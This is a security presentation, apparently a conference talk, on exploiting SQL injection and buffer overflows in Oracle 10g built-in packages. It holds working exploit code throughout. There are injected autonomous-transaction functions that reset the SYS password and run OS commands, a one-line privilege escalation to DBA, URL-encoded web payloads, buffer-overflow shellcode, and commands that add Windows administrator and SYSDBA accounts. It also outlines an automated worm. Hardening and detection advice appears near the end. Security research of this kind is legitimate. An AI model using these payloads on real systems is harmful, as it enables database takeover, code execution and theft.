



Advanced SQL Injection in Oracle databases

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Outline

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- *The platform chosen for the examples is: Oracle Database 10g Release 1 on Windows 2000 Advanced Server SP4. In most cases they can be translated to other version/platform with little modification.*



Oracle Database Server

- Many features
- Very big software
- Large number of Packages, Procedures and Functions installed by default
 - Oracle 9i: 10700 Procedures, 760 packages
 - Oracle 10g: 16500 Procedures, 1300 packages
 - Normal users can execute:
 - Oracle 9i: 5700 procedures, 430 packages
 - Oracle 10g: 8900 procedures, 730 packages
- Product available in many platforms → Long time to release patches



Hacking Oracle Database Server

- Without direct connection to the database
 - SQL Injection
 - Injecting SQL.
 - Exploiting buffer overflows.
 - If output is not returned, can be redirected using the UTL_HTTP / UTL_TCP standard packages.
- Connected to the database
 - SQL Injection in built-in or user-defined procedures.
 - Buffer overflows in built-in or user-defined procedures.
 - Output can be printed on attacker screen.



Vulnerabilities in Oracle

- I have reported many vulnerabilities in Oracle software
- 40 + have been fixed with recent patches.
- **65 + buffer overflows still UNFIXED!!**
- **More than 20 SQL Injection issues still UNFIXED!!**



SQL Injection in Oracle

- With direct connection to the Database (connected as a database user):
 - Can be used to execute SQL statements with elevated privileges or to impersonate another user.
 - Risk when a procedure is not defined with the **AUTHID CURRENT_USER** keyword (executes with the privileges of the owner).
- Without direct connection to the Database (example: web application user):
 - Can be used to execute SQL statements with elevated privileges or to exploit a buffer overflow. The Oracle standard packages have many buffer overflows.



SQL Injection in Oracle

- There are two kind of PL/SQL blocks where the SQL Injection vulnerability can be found:

- Anonymous PL/SQL block:

- A PL/SQL block that has a BEGIN and an END and can be used to execute multiple SQL statements.
- There is no limitation in what the attacker can do. Allows to execute SELECTs, DML and DDL statements.
- Example of vulnerable code:

```
EXECUTE IMMEDIATE 'BEGIN INSERT INTO MYTABLE (MYCOL1) VALUES ('' ||  
PARAM || ''); END;';
```

- Single PL/SQL statement:

- Doesn't have a BEGIN and an END.
- The attacker cannot insert ";" to inject more SQL commands.
- Example of vulnerable code:

```
OPEN CUR_CUST FOR 'select name from customers where id = '' ||  
p_idtofind || ''';
```



SQL Injection in a Single PL/SQL statement - Injecting a user defined function

- We will focus on how an attacker can exploit a SQL injection vulnerability in a single SQL statement (a vulnerability in an anonymous PL/SQL block is easily exploitable).
- To use this method the attacker must have the privilege to create (or modify) a function.
- The attacker can create a function with the **AUTHID CURRENT_USER** keyword that executes the SQL statements the attacker wants with elevated privileges.
- Inject this function using a SQL injection vulnerability.
- **Limitation:**
 - If the vulnerability is in a SELECT SQL statement only SELECTs can be executed in the injected function.
 - Can't inject DDL statements.



Why this limitation - Example

- Function to be injected (created by the attacker):

```
CREATE OR REPLACE FUNCTION "SCOTT"."MYFUNC" RETURN VARCHAR2
AUTHID CURRENT_USER AS
BEGIN
    EXECUTE IMMEDIATE 'insert into SYS.EMPLOYEES (SALARY)
    values (1000000)';
    COMMIT;
    RETURN '';
END;
```

- Injecting the function:

```
EXEC DBMS_CDC_SUBSCRIBE.DROP_SUBSCRIPTION
('' || SCOTT.MYFUNC() || '');
```

- See file SQLI_Limitation.sql.



Why this limitation

- When you try to execute DML statements in a SELECT you get this Oracle error:
 - ORA-14551: cannot perform a DML operation inside a query
- When you try to execute DDL statements you get this Oracle error:
 - ORA-14552: cannot perform a DDL, commit or rollback inside a query or DML
- The injected function is executed as a dependent transaction inside the transaction context of the vulnerable SQL statement.



Autonomous transactions in Oracle

- The **PRAGMA AUTONOMOUS_TRANSACTION** compiler directive allows to define a routine as *autonomous* (independent)
- Not the same as a nested transaction.
- Has a different transaction context.
- Must do a **COMMIT** (or **ROLLBACK**) to avoid an error:
 - ORA-06519: active autonomous transaction detected and rolled back



Using autonomous transactions to inject SQL

- Define a function with the **PRAGMA AUTONOMOUS_TRANSACTION** compiler directive and **AUTHID CURRENT_USER** keyword that executes the SQL statements the attacker wants with elevated privileges.
- Inject this function using a SQL injection vulnerability.
- This allows to execute any SQL statement. Can become DBA !

If the attacker can create or modify a function any SQL Injection vulnerability in a SELECT / INSERT / UPDATE / DELETE can be used to get full DBA privileges



SQL Injection Examples

- These examples use SQL injection vulnerabilities in Oracle standard procedures to inject a function defined as an autonomous transaction. The vulnerability is in a single SQL statement (not in an anonymous PL/SQL block).
- The vulnerable procedures have EXECUTE privilege granted to PUBLIC in a default installation, so any database user can exploit them.
- These SQL injection issues have been fixed in Oracle Critical Patch Update April 2005.



SQL Injection – Becoming the SYS user

- This exploit has two functions defined by the attacker:
- SCOTT.SQLI_CHANGEPSW changes the password of the SYS user to 'newpsw'. It saves the old SYS password hash in a table (PSW_DATA) to be able to restore it later.
- SCOTT.SQLI_RESTOREPSW restores the SYS password to the original value.
- Once these two function are created:
 - To change the SYS password execute:

```
EXEC DBMS_CDC_SUBSCRIBE.DROP_SUBSCRIPTION  
('' || SCOTT.SQLI_CHANGEPSW() || '');
```
 - To restore the SYS password execute:

```
EXEC DBMS_CDC_SUBSCRIBE.DROP_SUBSCRIPTION  
('' || SCOTT.SQLI_RESTOREPSW() || '');
```
- See the file SQLI_BecomingSYS.sql.



SQL Injection – Creating a java class

- Oracle allows to create java stored procedures.
An attacker could inject the following function to create a java class:

```
CREATE OR REPLACE FUNCTION "SCOTT"."MYFUNC" RETURN VARCHAR2
AUTHID CURRENT_USER AS
  PRAGMA AUTONOMOUS_TRANSACTION;
  SqlCommand VARCHAR2(2048);

BEGIN
  SqlCommand := '
create or replace and resolve java source named "SRC_EXECUTEOS" as
public class ExecuteOS {
  ...
}';
  EXECUTE IMMEDIATE SqlCommand;
  SqlCommand := '
create or replace procedure "PROC_EXECUTEOS" (p_command varchar2)
as language java
name 'ExecuteOS.execOSCmd (java.lang.String)'';';
  EXECUTE IMMEDIATE SqlCommand;

  EXECUTE IMMEDIATE 'grant execute on PROC_EXECUTEOS to scott';
  COMMIT; RETURN '';
END;
```

SQL Injection – Executing OS Commands

- In the injected function:
 - Create a Java Stored Procedure with a method that:
 - Executes an OS command using the java method `Runtime.getRuntime().exec()`
 - Redirect the output to a file
 - Read the file and print the output
 - Publish the java class creating a stored procedure
 - Grant EXECUTE on this procedure
 - The java console output is redirected to an Oracle trace file by default, to see the output in SqlPlus execute:
 - **SET SERVEROUTPUT ON**
 - **CALL DBMS_JAVA.SET_OUTPUT(2000);**
- See file `SQLI_OSCommand.sql` for an example.



SQL Injection – Uploading a file

- In the injected function:
 - Create a Java Stored Procedure with a method that:
 - Reads the contents of a URL using `java.net.*` classes and writes it to a file using `java.io.*`
 - Publish the java class creating a stored procedure
 - Grant EXECUTE on this procedure
- See file `SQLI_UploadingAFile.sql`.



Analyzing a SQL injection vulnerability

- The V\$SQLTEXT view shows the complete SQL text for the SQL statements in the Oracle shared pool.
- ```
SELECT HASH_VALUE, PIECE, SQL_TEXT FROM V$SQLTEXT
WHERE HASH_VALUE IN
(select HASH_VALUE from V$SQLTEXT where SQL_TEXT
like '%SEARCH_PATTERN_HERE%')
ORDER BY ADDRESS, HASH_VALUE, PIECE
```
- V\$SQLTEXT can be joined with V\$SQLAREA, V\$SESSION and V\$PROCESS to know what user execute the SQL statement.
- These views can be used by DBAs only



# Analyzing a SQL injection vulnerability - Example

| SQL_TEXT                                                                                                  | USERN          |
|-----------------------------------------------------------------------------------------------------------|----------------|
| -----                                                                                                     | -----          |
| SELECT HANDLE FROM SYS.CDC_SUBSCRIBERS\$ WHERE SUBSCRIPTION_NAME = 'EX01'    SCOTT.SQLI_CHANGEPSW()    '' | SYS<br>SYS     |
| BEGIN DBMS_CDC_SUBSCRIBE.DROP_SUBSCRIPTION ('EX01'    SCOTT.SQLI_CHANGEPSW()    ''); END;                 | SCOTT<br>SCOTT |

- The exploit is in **red**.
- The Oracle vulnerable PL/SQL executed is in **blue**.
- This vulnerability is the result of a PL/SQL statement similar to this:

```
OPEN CUR_CUST FOR 'SELECT HANDLE FROM SYS.CDC_SUBSCRIBERS$
WHERE SUBSCRIPTION_NAME = '' || p_subscription_name || ''';
```

- Should have been something like:

```
OPEN CUR_CUST FOR 'SELECT HANDLE FROM SYS.CDC_SUBSCRIBERS$
WHERE SUBSCRIPTION_NAME = :1' USING p_subscription_name
```

# SQL Injection in functions defined with AUTHID CURRENT\_USER

- A SQL Injection vulnerability in a function that executes with the privilege of the caller (defined with AUTHID CURRENT\_USER) in an anonymous PL/SQL block is not useful for an attacker if it is used directly, but an attacker can use a vulnerability of this kind to:
  - 1) get around the need to create a function to inject and use this vulnerable function to inject the SQL statements. To do this the vulnerability must be in an anonymous PL/SQL block of an AUTHID CURRENT\_USER function (in order to be able to define the transaction as autonomous).
  - 2) execute SQL statements in a web application vulnerable to SQL Injection even if the vulnerability is in a SELECT and no other statement is allowed to be added.



# SQL injection in DBMS\_METADATA.GET\_PREPOST\_TABLE\_ACT

- `SELECT DBMS_METADATA.GET_PREPOST_TABLE_ACT (1, 'EX03' || 'AA', 'EX03' || 'BB') FROM DUAL`

```
SELECT ST.SQL_TEXT, U.USERNAME FROM V$SQLAREA SA, V$SQLTEXT ST, DBA_USERS U WHERE SA.ADDRESS = ST.ADDRESS AND SA.HASH_VALUE = ST.HASH_VALUE AND SA.PARSING_USER_ID = U.USER_ID AND ST.HASH_VALUE IN (select HASH_VALUE from V$SQLTEXT where SQL_TEXT LIKE '%EX03%') ORDER BY ST.ADDRESS, ST.HASH_VALUE, ST.PIECE
```

| SQL_TEXT                                                                                 | USERNAME |
|------------------------------------------------------------------------------------------|----------|
| -----                                                                                    | -----    |
| SELECT DBMS_METADATA.GET_PREPOST_TABLE_ACT (1, 'EX03'    'AA', 'EX03'    'BB') FROM DUAL | SCOTT    |
| BEGIN :1 :=SYS.DBMS_EXPORT_EXTENSION.PRE_TABLE('EX03'    'AA', 'EX03'    'BB'); END;     | SCOTT    |

- `SELECT DBMS_METADATA.GET_PREPOST_TABLE_ACT (1, '[1]', '[2]') FROM DUAL`
- `BEGIN :1 :=SYS.DBMS_EXPORT_EXTENSION.PRE_TABLE ('[1]', '[2]'); END;`
- The Oracle public standard function `DBMS_METADATA.GET_PREPOST_TABLE_ACT` is vulnerable to SQL Injection in a PL/SQL anonymous block that executes with the privilege of the caller (defined with `AUTHID CURRENT_USER`).

# SQL injection in DBMS\_METADATA.GET\_PREPOST\_TABLE\_ACT

- `BEGIN :1 :=SYS.DBMS_EXPORT_EXTENSION.PRE_TABLE ('[1]', '[2]'); END;`
- To define an autonomous transaction: `[2] = '' ); EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN {SQL_STATEMENTS} COMMIT; END;'; END;--'`
- The vulnerable procedure generates this PL/SQL program:
- `BEGIN :1 :=SYS.DBMS_EXPORT_EXTENSION.PRE_TABLE ('', ''); EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN {SQL_STATEMENTS} COMMIT; END;'; END;--');`
- The PL/SQL program has an anonymous PL/SQL sub-block with an autonomous transaction.



# How to get around the need for CREATE PROCEDURE privilege - Example

- Example:
  - The attacker can use the vulnerabilities in DBMS\_CDC\_SUBSCRIBE.PURGE\_WINDOW and DBMS\_METADATA.GET\_PREPOST\_TABLE\_ACT in this way to get full DBA privilege without creating a user defined function:
  - `EXEC DBMS_CDC_SUBSCRIBE.PURGE_WINDOW('' || (select text from table(DBMS_METADATA.GET_PREPOST_TABLE_ACT(1, 'BB', 'AA'))); execute immediate '''declare pragma autonomous_transaction; begin insert into sys.employees (salary) values (1000009); commit; end;''' ; end;--'')) || ''');`
- File SQLI\_BecomingDBA.sql shows how any user can become DBA.
- The **PRAGMA AUTONOMOUS\_TRANSACTION** directive allows to define the transaction as autonomous so the attacker can execute any SQL DML or DDL statements.



# How to get around the need for CREATE PROCEDURE privilege - Example

- SELECT ST.HASH\_VALUE, ST.PIECE, ST.SQL\_TEXT, U.USERNAME FROM V\$SQLAREA SA, V\$SQLTEXT ST, DBA\_USERS U WHERE SA.ADDRESS = ST.ADDRESS AND SA.HASH\_VALUE = ST.HASH\_VALUE AND SA.PARSING\_USER\_ID = U.USER\_ID AND ST.HASH\_VALUE IN (select HASH\_VALUE from V\$SQLTEXT where SQL\_TEXT LIKE '%100009%') ORDER BY ST.ADDRESS, ST.HASH\_VALUE, ST.PIECE

| HASH_VALUE | PIECE | SQL_TEXT                                                         |            |
|------------|-------|------------------------------------------------------------------|------------|
| 2165027989 | 0     | BEGIN DBMS_CDC_SUBSCRIBE.PURGE_WINDOW(''    (select text from t  |            |
| 2165027989 | 1     | able(DBMS_METADATA.GET_PREPOST_TABLE_ACT(1, 'BB', 'AA'))); e     | EXPLOIT    |
| 2165027989 | 2     | xecute immediate '''declare pragma autonomous_transaction; begi  |            |
| 2165027989 | 3     | n insert into sys.employees (salary) values (100009); commit; e  |            |
| 2165027989 | 4     | nd;'''; end;--'))    '''); END;                                  |            |
| 3470240850 | 0     | SELECT HANDLE FROM SYS.CDC_SUBSCRIBERS\$ WHERE SUBSCRIPTION_NAME | Vulnerable |
| 3470240850 | 1     | = '    (SELECT TEXT FROM TABLE(DBMS_METADATA.GET_PREPOST_TABLE   | PL/SQL in  |
| 3470240850 | 2     | _ACT(1, 'BB', 'AA')); EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOM  | Oracle     |
| 3470240850 | 3     | OUS_TRANSACTION; BEGIN INSERT INTO SYS.EMPLOYEES (SALARY) VALUES | Package    |
| 3470240850 | 4     | (100009); COMMIT; END;''; END;--'))    ''                        |            |
| 2512383228 | 0     | INSERT INTO SYS.EMPLOYEES (SALARY) VALUES (100009)               |            |
| 3600070536 | 0     | DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN INSERT INTO SYS.EMP |            |
| 3600070536 | 1     | LOYEES (SALARY) VALUES (100009); COMMIT; END;                    |            |
| 3814987237 | 0     | BEGIN :1 :=SYS.DBMS_EXPORT_EXTENSION.PRE_TABLE('BB','AA'); EXECU | Vulnerable |
| 3814987237 | 1     | TE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN INSE  | PL/SQL in  |
| 3814987237 | 2     | T INTO SYS.EMPLOYEES (SALARY) VALUES (100009); COMMIT; END;''; E | Oracle     |
| 3814987237 | 3     | ND;--'); END;                                                    | Package    |

17 rows selected.



# How to get around the need for CREATE PROCEDURE privilege - Example

1. 

```
BEGIN DBMS_CDC_SUBSCRIBE.PURGE_WINDOW('' || (select text
from table(DBMS_METADATA.GET_PREPOST_TABLE_ACT(1, 'BB',
'AA'))); execute immediate ''declare pragma
autonomous_transaction; begin insert into sys.employees
(salary) values (1000009); commit; end;''; end;--''))
|| '''); END;
```
2. 

```
SELECT HANDLE FROM SYS.CDC_SUBSCRIBERS$ WHERE
SUBSCRIPTION_NAME= ' ' || (SELECT TEXT FROM TABLE
(DBMS_METADATA.GET_PREPOST_TABLE_ACT(1, 'BB', 'AA'));
EXECUTE IMMEDIATE 'DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN INSERT INTO SYS.EMPLOYEES
(SALARY) VALUES (1000009); COMMIT; END;'; END;--'')) || ''
```
3. 

```
BEGIN :1 :=SYS.DBMS_EXPORT_EXTENSION.PRE_TABLE
('BB','AA'); EXECUTE IMMEDIATE 'DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN INSERT INTO SYS.EMPLOYEES
(SALARY) VALUES (1000009); COMMIT; END;'; END;--'); END;
```
4. 

```
DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN INSERT INTO
SYS.EMPLOYEES (SALARY) VALUES (1000009); COMMIT; END;
```
5. 

```
INSERT INTO SYS.EMPLOYEES (SALARY) VALUES (1000009)
```

# How to get around the need for CREATE PROCEDURE privilege

- **Using a SQL Injection vulnerability in a function defined with AUTHID CURRENT\_USER and in an anonymous PL/SQL block, an attacker can use any other SQL Injection vulnerability in a SELECT / INSERT / UPDATE / DELETE to get full DBA privileges.**



# Exploiting SQL Injection in a web application to execute SQL statements

- This example shows how to exploit the vulnerable web page TableEmp.asp to inject SQL commands using an Oracle standard function vulnerable to SQL injection in an anonymous PL/SQL block.
- It allows to define the transaction as autonomous.
- Can execute any PL/SQL statements.

- `http://vulnsite/TableEmp.asp?Search=A' || (select%20text%20from%20table(DBMS_METADATA.GET_PREPOST_TABLE_ACT(1,%20'BB',%20'AA'));%20execute%20immediate%20''declare%20pragma%20autonomous_transaction;%20begin%20insert%20into%20emp%20(empno,sal)%20values%20(100,10000);%20commit;%20end;'';%20end;--')) || '`



# How to protect

- Revoke EXECUTE privilege on Oracle standard packages/procedures when not needed. Specially for PUBLIC role.
- Grant the CREATE ANY PROCEDURE, ALTER ANY PROCEDURE privileges only to trusted users.
- Ensure that only trusted users own functions.
- Grant the RESOURCE Role only to trusted users.
- Whenever it is possible define the stored procedures with the **AUTHID CURRENT\_USER** keyword.
- If dynamic SQL is necessary, always validate the parameters carefully, even in functions defined with the **AUTHID CURRENT\_USER** keyword.



# Buffer Overflows in Oracle stored procedures

- Allows an attacker to execute arbitrary code on the server.
- Can be exploited by normal database users or using SQL Injection by a remote user (web application user).
- **Many standard Oracle stored procedures have buffer overflows bugs. Some issues have been fixed but there are still unfixed bugs.**



# Buffer Overflow Exploits

- Using a buffer overflow vulnerability an attacker can execute this OS command to create an administrator user:
  - `net user admin2 /add && net localgroup Administrators admin2 /add && net localgroup ORA_DBA admin2 /add`
- Proof of concept exploit code using the vulnerability in MDSYS.MD2.SDO\_CODE\_SIZE Oracle standard function (fix available in <http://metalink.oracle.com>) can be found in BOF\_GettingOSAdmin.sql.
- Exploit code to open a bind shell can be found in BOF\_BindShell.sql.



# Creating a SYSDBA user

- Using a buffer overflow the attacker can execute the SqlPlus Oracle utility to execute SQL statements as SYSDBA.
- To create a SYSDBA user the attacker could execute this OS command:
- ```
echo CREATE USER ERIC IDENTIFIED BY MYPSW12; > c:\cu.sql &
echo GRANT DBA TO ERIC; >> c:\cu.sql & echo ALTER USER ERIC
DEFAULT ROLE DBA; >> c:\cu.sql & echo GRANT SYSDBA TO "ERIC"
WITH ADMIN OPTION; >> c:\cu.sql & echo quit >> c:\cu.sql &
c:\oracle\product\10.1.0\db_1\bin\sqlplus.exe "/ as sysdba"
@c:\cu.sql
```
- Proof of concept exploit code in file BOF_CreatingSYSDBAUser.sql.



Detecting a buffer overflow attack

- Can't be detected always.
- Oracle dump files may have information about an attack, to audit them:
 - Review the file `[ORACLE_BASE]/admin/[SID]/cdump/[SID]CORE.LOG`
 - Search for ACCESS_VIO (Excp. Code: 0xc0000005) Exceptions.
 - Injected code may be in the stack dump.
 - In the associated file `udump/[SID]ora[THREAD_ID].trc` can be the attacker SQL statement.
 - Oracle internal errors can also generate dumps.
 - Dump files are not generated always in a buffer overflow attack.
Example: if the server process dies or if the attacker calls `ExitThread()` no dump files are generated.



Remote attacks using SQL Injection in a web application

- The file TableEmp.asp is an example of a web page vulnerable to SQL Injection.
- It is a script server page that queries an Oracle Database and display the results as a table.
- The parameter "Search" is vulnerable to SQL Injection.
- This vulnerability may seem not to be very dangerous because Oracle does not allow to use a ";" to add more SQL statements, so only SELECTs can be injected in this case. With a SELECT an attacker can inject a function call and using a vulnerability in a function can get complete control over an Oracle database as shown in the following example.



Exploiting a buffer overflow through SQL Injection in a web application

- Using a buffer overflow in a standard Oracle function (like MDSYS.MD2.SDO_CODE_SIZE, see file BOF_SDO_CODE_SIZE_10g.sql) a remote attacker can execute arbitrary code on the database server.
- To exploit this in the case of the example vulnerable web page TableEmp.asp an attacker should execute:
- ```
http://vulnsite/TableEmp.asp?Search=A' || TO_CHAR(MDSYS.MD2.SDO_CODE_SIZE('A
AAAAAAAAAAABBBBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEE
EE
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH' || CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR
(227) || CHR(251) || CHR(90) || CHR(19) || CHR(124) || CHR(54) || CHR(141) || CHR(67) || C
HR(19) || CHR(80) || chr(184) || chr(191) || chr(142) || chr(01) || chr(120) || chr(255)
|| chr(208) || chr(184) || chr(147) || chr(131) || chr(00) || chr(120) || chr(255) || chr
(208) || 'dir>c:\dir.txt'))--
```
- This exploit executes the OS command “dir>c:\dir.txt” in the context of the Oracle server process.
- **It's wrong to think that SQL Injection issues in Oracle databases are not dangerous.**



# Web application worm

- Many web applications are vulnerable to SQL Injection allowing to inject function calls.
- Exploiting a vulnerability in Oracle standard functions as demonstrated in the previous example is not difficult and it could be done in an automated way.
- A malicious worm could do this:
  - Search for all the web pages and identify its parameters.
  - Try to exploit every parameter in this way:
  - `{ParameterName}=A' || TO_CHAR(MDSYS.MD2.SDO_CODE_SIZE('AAAAA  
AAAAAABBBBBBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEE  
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE  
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG  
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG  
' || CHR(131) || CHR(195) || CHR(9) || CHR(255) || CHR(227) || CHR(251  
) || CHR(90) || CHR(19) || CHR(124) || CHR(54) || CHR(141) || CHR(67) ||  
| CHR(19) | | CHR(80) | | chr(184) | | chr(191) | | chr(142) | | chr(01) | |  
chr(120) | | chr(255) | | chr(208) | | chr(184) | | chr(147) | | chr(131)  
| | chr(00) | | chr(120) | | chr(255) | | chr(208) | | 'Command'))--`




# How to protect

- Revoke EXECUTE privilege on Oracle standard packages when not needed. Specially for the PUBLIC role.
- Restrict network access to the Listener and iSqlPlus service only to trusted users. Never connect directly to Internet.
- Drop or change password of default users.
- Make sure your application is not vulnerable to SQL Injection validating the variables used in dynamic SQL or using bind variables.
- Keep Oracle and OS up-to-date with patches.
- Try to upgrade to the last Oracle database release and patchset
  - Last releases and patchsets includes more fixes than older supported versions.



# Summary



# Conclusions

- Many features are installed by default. Most of them are never used and represent a serious security risk
- Many standard procedures are vulnerable to buffer overflows and SQL Injection issues
  - With a buffer overflow it's possible to execute SQL statements
- SQL Injection can be very dangerous in remote or local scenarios
- Automatic testing tools may help DBAs



# References

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Questions?

Thank you

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